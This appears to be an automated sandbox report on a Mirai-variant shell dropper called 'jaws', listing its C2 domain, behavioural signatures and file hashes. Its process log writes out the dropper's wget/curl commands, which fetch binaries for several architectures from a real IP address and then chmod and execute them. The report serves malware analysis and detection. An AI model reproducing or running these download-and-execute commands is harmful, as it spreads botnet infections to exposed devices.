Analysis
-
max time kernel
14s -
max time network
81s -
platform
debian-9_armhf -
resource
debian9-armhf-20240418-en -
resource tags
arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
30-08-2024 05:17
Static task
static1
Behavioral task
behavioral1
Sample
jaws
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
jaws
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
jaws
Resource
debian9-mipsbe-20240611-en
General
-
Target
jaws
-
Size
3KB
-
MD5
4429a8d8a1c145c7f2135f7b93910618
-
SHA1
f4a829f7fe5f475e1fc63661218303e41779de65
-
SHA256
5f146a25218b14546812329e55b5d4b8b0e4b1caf182e4681295efa2d461b0cf
-
SHA512
5c486e279036afbf60f6c1737141f9613f748bc8b2f6f493b10b7e69556f6df4cb2fe8c2f20846bba5ac46337bc08109cb9f0e81db7ff267a2aed2242c0affc5
Malware Config
Extracted
mirai
UNSTABLE
fbi.condi.network
Signatures
-
Contacts a large (6463) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Executes dropped EXE 8 IoCs
ioc pid Process /tmp/hiroz3x 675 hiroz3x /tmp/hiroz3x 686 hiroz3x /tmp/hiroz3x 692 hiroz3x /tmp/hiroz3x 707 hiroz3x /tmp/hiroz3x 726 hiroz3x /tmp/hiroz3x 739 hiroz3x /tmp/hiroz3x 759 hiroz3x /tmp/hiroz3x 806 hiroz3x -
Modifies Watchdog functionality 1 TTPs 4 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog hiroz3x File opened for modification /dev/misc/watchdog hiroz3x File opened for modification /dev/watchdog hiroz3x File opened for modification /dev/misc/watchdog hiroz3x -
resource yara_rule behavioral2/files/fstream-1.dat upx behavioral2/files/fstream-4.dat upx behavioral2/files/fstream-5.dat upx behavioral2/files/fstream-6.dat upx behavioral2/files/fstream-7.dat upx behavioral2/files/fstream-8.dat upx -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
description ioc Process File opened for reading /proc/net/tcp hiroz3x -
Writes file to system bin folder 1 TTPs 4 IoCs
description ioc Process File opened for modification /sbin/watchdog hiroz3x File opened for modification /bin/watchdog hiroz3x File opened for modification /sbin/watchdog hiroz3x File opened for modification /bin/watchdog hiroz3x -
Changes its process name 2 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself a 707 hiroz3x Changes the process name, possibly in an attempt to hide itself a 759 hiroz3x -
Checks CPU configuration 1 TTPs 8 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
description ioc Process File opened for reading /proc/net/tcp hiroz3x -
Reads runtime system information 39 IoCs
Reads data from /proc virtual filesystem.
description ioc Process File opened for reading /proc/713/cmdline hiroz3x File opened for reading /proc/747/cmdline hiroz3x File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/exe hiroz3x File opened for reading /proc/597/cmdline hiroz3x File opened for reading /proc/662/cmdline hiroz3x File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/exe hiroz3x File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/712/cmdline hiroz3x File opened for reading /proc/762/cmdline hiroz3x File opened for reading /proc/self/auxv curl File opened for reading /proc/643/cmdline hiroz3x File opened for reading /proc/651/cmdline hiroz3x File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/exe hiroz3x File opened for reading /proc/self/auxv curl File opened for reading /proc/self/exe hiroz3x File opened for reading /proc/645/cmdline hiroz3x File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/600/cmdline hiroz3x File opened for reading /proc/759/cmdline hiroz3x File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/646/cmdline hiroz3x File opened for reading /proc/714/cmdline hiroz3x File opened for reading /proc/751/cmdline hiroz3x File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/644/cmdline hiroz3x File opened for reading /proc/638/cmdline hiroz3x File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/579/cmdline hiroz3x File opened for reading /proc/594/cmdline hiroz3x File opened for reading /proc/601/cmdline hiroz3x -
Writes file to tmp directory 17 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/h0r0zx00x.x86 curl File opened for modification /tmp/h0r0zx00x.mips wget File opened for modification /tmp/h0r0zx00x.arm curl File opened for modification /tmp/h0r0zx00x.arm6 curl File opened for modification /tmp/h0r0zx00x.arm7 curl File opened for modification /tmp/h0r0zx00x.arm5 wget File opened for modification /tmp/h0r0zx00x.arm5 curl File opened for modification /tmp/h0r0zx00x.arm7 wget File opened for modification /tmp/h0r0zx00x.ppc curl File opened for modification /tmp/h0r0zx00x.x86 wget File opened for modification /tmp/h0r0zx00x.mips curl File opened for modification /tmp/h0r0zx00x.mpsl wget File opened for modification /tmp/h0r0zx00x.mpsl curl File opened for modification /tmp/h0r0zx00x.arm wget File opened for modification /tmp/h0r0zx00x.arm6 wget File opened for modification /tmp/hiroz3x jaws File opened for modification /tmp/h0r0zx00x.ppc wget
Processes
-
/tmp/jaws/tmp/jaws1⤵
- Writes file to tmp directory
PID:646 -
/usr/bin/wgetwget http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.x862⤵
- Writes file to tmp directory
PID:648
-
-
/usr/bin/curlcurl -O http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.x862⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:657
-
-
/bin/catcat h0r0zx00x.x862⤵PID:671
-
-
/bin/chmodchmod +x h0r0zx00x.x86 hiroz3x jaws systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-3KCvjR2⤵PID:672
-
-
/tmp/hiroz3x./hiroz3x jaws.exploit2⤵
- Executes dropped EXE
PID:675
-
-
/usr/bin/wgetwget http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips2⤵
- Writes file to tmp directory
PID:677
-
-
/usr/bin/curlcurl -O http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:681
-
-
/bin/catcat h0r0zx00x.mips2⤵PID:684
-
-
/bin/chmodchmod +x h0r0zx00x.mips h0r0zx00x.x86 hiroz3x jaws systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-3KCvjR2⤵PID:685
-
-
/tmp/hiroz3x./hiroz3x jaws.exploit2⤵
- Executes dropped EXE
PID:686
-
-
/usr/bin/wgetwget http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mpsl2⤵
- Writes file to tmp directory
PID:688
-
-
/usr/bin/curlcurl -O http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mpsl2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:689
-
-
/bin/catcat h0r0zx00x.mpsl2⤵PID:690
-
-
/bin/chmodchmod +x h0r0zx00x.mips h0r0zx00x.mpsl h0r0zx00x.x86 hiroz3x jaws systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-3KCvjR2⤵PID:691
-
-
/tmp/hiroz3x./hiroz3x jaws.exploit2⤵
- Executes dropped EXE
PID:692
-
-
/usr/bin/wgetwget http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.arm2⤵
- Writes file to tmp directory
PID:694
-
-
/usr/bin/curlcurl -O http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.arm2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:699
-
-
/bin/catcat h0r0zx00x.arm2⤵PID:704
-
-
/bin/chmodchmod +x h0r0zx00x.arm h0r0zx00x.mips h0r0zx00x.mpsl h0r0zx00x.x86 hiroz3x jaws systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-3KCvjR2⤵PID:705
-
-
/tmp/hiroz3x./hiroz3x jaws.exploit2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Changes its process name
- Reads runtime system information
PID:707
-
-
/usr/bin/wgetwget http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.arm52⤵
- Writes file to tmp directory
PID:710
-
-
/usr/bin/curlcurl -O http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.arm52⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:719
-
-
/bin/catcat h0r0zx00x.arm52⤵PID:723
-
-
/bin/chmodchmod +x h0r0zx00x.arm h0r0zx00x.arm5 h0r0zx00x.mips h0r0zx00x.mpsl h0r0zx00x.x86 hiroz3x jaws systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-3KCvjR2⤵PID:724
-
-
/tmp/hiroz3x./hiroz3x jaws.exploit2⤵
- Executes dropped EXE
- Reads runtime system information
PID:726
-
-
/usr/bin/wgetwget http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.arm62⤵
- Writes file to tmp directory
PID:727
-
-
/usr/bin/curlcurl -O http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.arm62⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:731
-
-
/bin/catcat h0r0zx00x.arm62⤵PID:736
-
-
/bin/chmodchmod +x h0r0zx00x.arm h0r0zx00x.arm5 h0r0zx00x.arm6 h0r0zx00x.mips h0r0zx00x.mpsl h0r0zx00x.x86 hiroz3x jaws systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-3KCvjR2⤵PID:737
-
-
/tmp/hiroz3x./hiroz3x jaws.exploit2⤵
- Executes dropped EXE
- Reads runtime system information
PID:739
-
-
/usr/bin/wgetwget http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.arm72⤵
- Writes file to tmp directory
PID:740
-
-
/usr/bin/curlcurl -O http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.arm72⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:745
-
-
/bin/catcat h0r0zx00x.arm72⤵PID:756
-
-
/bin/chmodchmod +x h0r0zx00x.arm h0r0zx00x.arm5 h0r0zx00x.arm6 h0r0zx00x.arm7 h0r0zx00x.mips h0r0zx00x.mpsl h0r0zx00x.x86 hiroz3x jaws systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-3KCvjR2⤵PID:757
-
-
/tmp/hiroz3x./hiroz3x jaws.exploit2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Writes file to system bin folder
- Changes its process name
- Reads system network configuration
- Reads runtime system information
PID:759
-
-
/usr/bin/wgetwget http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.ppc2⤵
- Writes file to tmp directory
PID:797
-
-
/usr/bin/curlcurl -O http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.ppc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:803
-
-
/bin/catcat h0r0zx00x.ppc2⤵PID:804
-
-
/bin/chmodchmod +x h0r0zx00x.arm h0r0zx00x.arm5 h0r0zx00x.arm6 h0r0zx00x.arm7 h0r0zx00x.mips h0r0zx00x.mpsl h0r0zx00x.ppc h0r0zx00x.x86 hiroz3x jaws systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-3KCvjR2⤵PID:805
-
-
/tmp/hiroz3x./hiroz3x jaws.exploit2⤵
- Executes dropped EXE
PID:806
-
-
/usr/bin/wgetwget http://45.145.165.64/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.m68k2⤵PID:808
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
30KB
MD501b5ca96006efd6ecba70995ac395db5
SHA1c077939743bbdc1906b9cbd291e9e3c15b2ed613
SHA256e68a0410f0139792d1c821e2d577323eb034b2a030dfc5d8cc8b6215c2a933ec
SHA5127cbd89a82ab3ed0ed257cfbbb6a85b27d7a8e7af08c436a5d7104969e23269ad905d8551a1144116b950308daebc90f3515002aadcf65bff754e045714bbec44
-
Filesize
32KB
MD537942437a545b634350c1b0b80d8371f
SHA1deac7b16e9b9e718cc21de900f8e2e78ec6b41a7
SHA256805d483543b0940b25147f18257251a4c24ad857c65bb1286f9f794fa1643bbd
SHA512ba8cbe1e6744b2c6e5136ed739725988410ec0c259cfd89281b0c87c3bc4b3dd3fd15b2541a23953348a5305373f3fdbc02491ebaa6a64a8264d20f19f064fa0
-
Filesize
33KB
MD57e03a4fa6e42aa482775fe8fc656eb29
SHA168c1aec948d144ec9a2befedaeea0007b96bf8cf
SHA256f78f0bd098b133e70ee11e717bcb53430bc23c499942087473044d5dabe2ca01
SHA5123ba610f23ec82d6c6804e21b2625fa963e7187a9e750a16372154b3bb40743042dab1248c676b638ecc3db4d608bf19193f66a848e69e3a70a2076f084f2d2e2
-
Filesize
31KB
MD54568999226a40c97956934d7f3b623ed
SHA158cdfc30ccf6a12dec1dd929cbf3ceecece43d42
SHA25696abb7f10850173a8c7b4583e49d092a51d53c9bf863aca9162f14a934e7548e
SHA51277f728e4fa5a8c6fdcbbf6c34ea4987e4c1912da8bfd060d1dc7e639a0415f923984fca3079a87ee792d5e5817bddfeb9be02eda45c9d4c870a4c9de2e6e07c6
-
Filesize
27KB
MD5f5129e69c2a10c4ff4ff731d42ee5bed
SHA1a975cfe7e1e8c66b592d6e33c99a288738243980
SHA2567128b3640bac18912378cff5bfbead8a0ff169ef0dfd7ad9c16f79aa3d08ae4a
SHA5123fe57d032eed36553f39b99ca42ba77e30010626e9789a583eab3a417f13fa329a2479b3f2854b518a3a59098887e37f4e184c331539d72046925ad3afdead70
-
Filesize
54KB
MD5633ab4fa7bef6d2fb51770c8d03f7dd2
SHA1b91ddc21b74a34641fbdf7bb871b15b3deb78ff7
SHA256bc2a214eefe8eaae84891202e8c1e5c56c5ef2cbdedd8466e3166e51b8690ce8
SHA512b94ded69004c6aff8c005b2e114bd818bb8eec049e1514b21d14ca2e7ea9fae8fa05dd4f0e5179fcc9f45969644a318db3ff4d7096ca201743956b1bfa122f9a